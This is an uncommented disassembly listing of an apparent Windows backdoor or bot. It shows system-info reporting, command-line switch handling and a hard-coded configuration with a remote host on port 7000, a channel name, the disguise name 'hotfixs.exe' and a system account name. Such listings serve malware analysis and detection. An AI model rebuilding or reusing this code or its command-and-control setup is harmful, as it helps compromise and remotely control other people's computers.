mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017F3
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_406890 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BA0 proc near ; CODE XREF: sub_4015DCj
mov eax, ecx
mov dword ptr [eax], offset off_43E008
mov dword ptr [eax+110h], 0
retn
sub_406BA0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406BD0: ; CODE XREF: ___:00401F8Cj
push esi
mov esi, ecx
call sub_40143D
test byte ptr [esp+8], 1
jz short loc_406BE8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406BE8: ; CODE XREF: ___:00406BDDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C00 proc near ; CODE XREF: sub_40143Dj
mov dword ptr [ecx], offset off_43E008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C17
push ecx
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
locret_406C17: ; CODE XREF: sub_406C00+Ej
retn
sub_406C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C30 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C30
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406C61
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C61: ; CODE XREF: sub_406C30+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_4367FA
sub_406C30 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_4367FA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_50FAF4
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_443600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D12: ; CODE XREF: ___:00406D24j
push offset asc_443600 ; " "
push 0
call ebp
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D12
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F18
lea ebp, [esp+58h]
loc_406D38: ; CODE XREF: ___:00406F10j
mov edi, [ebp+0]
mov esi, offset dword_4437EC
mov eax, edi
loc_406D42: ; CODE XREF: ___:00406D60j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D66
test cl, cl
jz short loc_406D62
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D66
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D42
loc_406D62: ; CODE XREF: ___:00406D4Cj
xor eax, eax
jmp short loc_406D6B
; ---------------------------------------------------------------------------
loc_406D66: ; CODE XREF: ___:00406D48j
; ___:00406D56j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406D6B: ; CODE XREF: ___:00406D64j
test eax, eax
jz loc_406F08
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406D7A: ; CODE XREF: ___:00406D98j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D9E
test cl, cl
jz short loc_406D9A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D9E
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D7A
loc_406D9A: ; CODE XREF: ___:00406D84j
xor eax, eax
jmp short loc_406DA3
; ---------------------------------------------------------------------------
loc_406D9E: ; CODE XREF: ___:00406D80j
; ___:00406D8Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DA3: ; CODE XREF: ___:00406D9Cj
test eax, eax
jnz short loc_406DB0
mov byte ptr [ebx+9], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DB0: ; CODE XREF: ___:00406DA5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406DB7: ; CODE XREF: ___:00406DD5j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DDB
test cl, cl
jz short loc_406DD7
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DB7
loc_406DD7: ; CODE XREF: ___:00406DC1j
xor eax, eax
jmp short loc_406DE0
; ---------------------------------------------------------------------------
loc_406DDB: ; CODE XREF: ___:00406DBDj
; ___:00406DCBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DE0: ; CODE XREF: ___:00406DD9j
test eax, eax
jnz short loc_406DED
mov byte ptr [ebx+0Ah], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DED: ; CODE XREF: ___:00406DE2j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406DF4: ; CODE XREF: ___:00406E12j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E18
test cl, cl
jz short loc_406E14
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DF4
loc_406E14: ; CODE XREF: ___:00406DFEj
xor eax, eax
jmp short loc_406E1D
; ---------------------------------------------------------------------------
loc_406E18: ; CODE XREF: ___:00406DFAj
; ___:00406E08j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E1D: ; CODE XREF: ___:00406E16j
test eax, eax
jnz loc_406F08
lea ecx, [esp+10h]
call sub_401424
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406EF4
push eax
lea ecx, [esp+14h]
call sub_4015D7
push 1
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406EF4
push 1
push offset asc_443600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_401681
push eax
lea eax, [ebx+0Ch]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406EF4: ; CODE XREF: ___:00406E51j
; ___:00406EA1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F08: ; CODE XREF: ___:00406D6Dj
; ___:00406DABj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D38
xor ecx, ecx
loc_406F18: ; CODE XREF: ___:00406D2Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F25
mov [ebx+5], ecx
loc_406F25: ; CODE XREF: ___:00406F20j
cmp [ebx+5], ecx
jnz short loc_406F35
test al, al
jz short loc_406F35
mov dword ptr [ebx+5], 0Ah
loc_406F35: ; CODE XREF: ___:00406F28j
; ___:00406F2Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407030 proc near ; CODE XREF: sub_40209Fj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407030
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_401564
sub_407030 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43E00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4070B0 proc near ; CODE XREF: sub_401591j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015D7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014E2
sub_4070B0 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4070F0 proc near ; CODE XREF: sub_401AF0j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AC3
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401622
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jz short loc_40716B
mov edi, [esp+10h+arg_0]
loc_407133: ; CODE XREF: sub_4070F0+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_40173F
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_407175
call sub_401F0A
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jnz short loc_407133
loc_40716B: ; CODE XREF: sub_4070F0+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_407175: ; CODE XREF: sub_4070F0+5Aj
call sub_40173F
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_4070F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071C0 proc near ; CODE XREF: sub_4021F8j
xor al, al
retn 4
sub_4071C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4071E0 proc near ; CODE XREF: sub_401564j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_4071E0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407220 proc near ; CODE XREF: sub_401622j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401A82
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407220 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407260 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407260 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407290 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021BC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_407290 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072D0 proc near ; CODE XREF: sub_401AC3j
push esi
mov esi, ecx
call sub_401B63
mov eax, esi
pop esi
retn
sub_4072D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072F0 proc near ; CODE XREF: sub_40173Fj
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_4072F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407310 proc near ; CODE XREF: sub_401F0Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A82
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FA0
neg al
sbb eax, eax
inc eax
retn 4
sub_407340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407370 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C8A
mov edi, eax
push edi
call sub_401C58
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_407370 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C58
push edi
mov [eax], ebx
call sub_401C58
mov edi, [eax]
push edi
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_401672
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_402185
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407410 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019C9
sub_407410 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407425
mov edi, esi
loc_407425: ; CODE XREF: ___:00407421j
push esi
call sub_401A82
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40743A
mov edi, esi
loc_40743A: ; CODE XREF: ___:00407436j
push esi
call sub_401C58
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407460 proc near ; CODE XREF: sub_401A82j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_407460 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407480 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_407480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074A0 proc near ; CODE XREF: sub_401B63j
mov eax, ecx
retn
sub_4074A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074C0 proc near ; CODE XREF: sub_402185j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_4074C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401FA0j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407520 proc near ; CODE XREF: sub_401C58j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407540 proc near ; CODE XREF: sub_4019C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_407540 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401672j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_407570 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075A0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_401C8Aj
mov eax, [ecx]
retn
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4075E0 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4075EA
xor eax, eax
loc_4075EA: ; CODE XREF: sub_4075E0+6j
push eax
call sub_4367FA
sub_4075E0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40762B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40762B: ; CODE XREF: sub_407610+11j
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407640 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407660 proc near ; CODE XREF: sub_401B2Cj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407660
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017E4
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_448D06
call sub_401B5E
sub_407660 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076F0 proc near ; CODE XREF: sub_401CC1j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076F0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017E4
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_448D06
call sub_401B5E
sub_4076F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407790 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407790
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_174]
call sub_401424
lea ecx, [esp+35Ch+var_2DC]
mov [esp+35Ch+var_4], 0
call sub_401424
lea ecx, [esp+35Ch+var_1A4]
mov byte ptr [esp+35Ch+var_4], 1
call sub_401424
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 2
call sub_401424
lea ecx, [esp+35Ch+var_2C4]
mov byte ptr [esp+35Ch+var_4], 3
call sub_401424
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 4
call sub_401424
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 5
call sub_401424
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 6
call sub_401424
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 7
call sub_401424
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_401424
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_401424
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_401424
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_401424
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_401424
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_401424
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_401424
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_401424
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_401424
lea ecx, [esp+35Ch+var_18C]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_401424
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_144]
call sub_401424
lea ecx, [esp+35Ch+var_1BC]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_401424
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_401424
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_401424
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_401424
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_401424
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_401424
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_401424
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_401424
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_401424
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_401424
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_401424
mov bl, 1Eh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_174]
mov byte ptr [esp+360h+var_4], bl
call sub_401A87
push offset a7000 ; "7000"
lea ecx, [esp+360h+var_2DC]
call sub_401A87
push offset byte_446F60
lea ecx, [esp+360h+var_1BC]
call sub_401A87
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_1A4]
call sub_401A87
lea eax, [esp+35Ch+var_2DC]
lea ecx, [esp+35Ch+var_1D4]
push eax
call sub_40200E
push offset byte_446F60
lea ecx, [esp+360h+var_294]
call sub_401A87
push offset aScop ; "#scop#"
lea ecx, [esp+360h+var_2C4]
call sub_401A87
push offset aS_1 ; "#s"
lea ecx, [esp+360h+var_E4]
call sub_401A87
push offset aServec ; "servec"
lea ecx, [esp+360h+var_2AC]
call sub_401A87
push offset aHotfixs_exe ; "hotfixs.exe"
lea ecx, [esp+360h+var_204]
call sub_401A87
push offset aHoewrt ; "hoewrt"
lea ecx, [esp+360h+var_234]
call sub_401A87
push offset aTahy ; "TAHY-"
lea ecx, [esp+360h+var_2F4]
call sub_401A87
push offset aAbosal7 ; "abosal7"
lea ecx, [esp+360h+var_264]
call sub_401A87
push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
lea ecx, [esp+360h+var_27C]
call sub_401A87
push offset aAdmin_com ; "admin.com"
lea ecx, [esp+360h+var_15C]
call sub_401A87
push offset aTsinternetuser ; "TsInternetUser"
lea ecx, [esp+360h+var_114]
call sub_401A87
push offset dword_4437FC
lea ecx, [esp+360h+var_18C]
call sub_401A87
